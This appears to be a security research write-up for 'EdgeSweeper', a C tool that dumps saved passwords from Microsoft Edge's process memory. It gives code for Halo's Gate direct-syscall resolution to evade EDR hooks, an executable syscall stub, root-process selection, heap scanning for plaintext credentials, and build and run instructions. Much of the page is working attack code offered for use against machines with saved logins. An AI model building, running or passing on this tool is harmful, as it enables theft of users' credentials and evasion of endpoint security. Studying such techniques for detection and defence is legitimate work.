< back to research

EdgeSweeper

C port of EdgeSavedPasswordsDumper by L1v1ng0ffTh3L4N. Original was C#. This version uses direct NT syscalls via Halo's Gate — no Win32 API touching process enumeration or memory reads. Tested on msedge.exe <= 147.0.3912.98.

Edge stores credentials in plaintext inside PAGE_READWRITE heap regions. The tool finds them by walking committed memory regions of each root Edge process.

Halo's Gate — syscall resolution

EDR products hook NT functions in userland by patching the first few bytes of stubs in ntdll.dll to redirect execution through their own inspection layer. Direct syscalls bypass this by invoking the kernel transition instruction (syscall) directly, with the correct System Service Number (SSN) loaded into eax.

The problem: to call a syscall directly you need the SSN, but if the stub is hooked the standard read of bytes 4-7 gives you garbage. Halo's Gate solves this by finding a clean neighboring stub and deriving the target SSN by offset — NT syscall SSNs are contiguous when sorted by address.

Implementation

Walk ntdll's export table, collect all Nt* exports, sort by address, then for each target function check if the stub is clean:

static BOOL IsCleanStub(BYTE* fn) {
    return fn[0] == 0x4C &&   // mov r10, rcx
           fn[1] == 0x8B &&
           fn[2] == 0xD1 &&
           fn[3] == 0xB8;     // mov eax, <SSN>
}

If hooked, walk up and down the sorted list until a clean neighbor is found, then adjust by the delta:

for (int delta = 1; delta < (int)count; delta++) {
    int up = targetIdx - delta;
    if (up >= 0 && IsCleanStub((BYTE*)entries[up].addr)) {
        *outSSN = ExtractSSN((BYTE*)entries[up].addr) + (DWORD)delta;
        resolved = TRUE;
        break;
    }
    int down = targetIdx + delta;
    if (down < (int)count && IsCleanStub((BYTE*)entries[down].addr)) {
        *outSSN = ExtractSSN((BYTE*)entries[down].addr) - (DWORD)delta;
        resolved = TRUE;
        break;
    }
}

Once the SSN is known, a small executable stub is allocated with VirtualAlloc(PAGE_EXECUTE_READWRITE) and the SSN is patched in at offset 4:

static const BYTE STUB_TEMPLATE[] = {
    0x4C, 0x8B, 0xD1,               // mov r10, rcx
    0xB8, 0x00, 0x00, 0x00, 0x00,   // mov eax, <SSN>
    0x0F, 0x05,                     // syscall
    0xC3                            // ret
};

Process enumeration

Edge spawns a tree of msedge.exe processes. Only the root process (whose parent is not also msedge.exe) holds the credential heap regions worth scanning. NtQuerySystemInformation with SystemProcessInformation gives the full process list including parent PIDs, so roots are identified by filtering children out.

Credential scanning

For each root process: open with NtOpenProcess, walk all committed PAGE_READWRITE regions via NtQueryVirtualMemory, read each region with NtReadVirtualMemory, then scan the buffer.

Edge's credential layout in memory follows a consistent pattern — https <user> <pass>\x00 with the origin URL sitting a few bytes behind the protocol marker. The scanner looks for http or https as anchors, then extracts the username, password, and URL fields using character-class validation.

static BOOL IsUserChar(BYTE c) {
    return (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') ||
           (c >= '0' && c <= '9') || c > 0x7E ||
           c == '-' || c == '_' || c == '.' || c == '@' || c == '?';
}

static BOOL IsPassChar(BYTE c) {
    return c >= 0x20 && c != 0x7F;
}

Output format:

[email protected] : password123 @ example.com

Syscalls used

  • NtQuerySystemInformation — process enumeration
  • NtOpenProcess — handle acquisition
  • NtQueryVirtualMemory — region walking
  • NtReadVirtualMemory — memory reads

Build

x86_64-w64-mingw32-gcc dumper.c -o dumper.exe -lntdll -Wall

Usage

Run elevated on a machine where Edge is open with saved credentials.

dumper.exe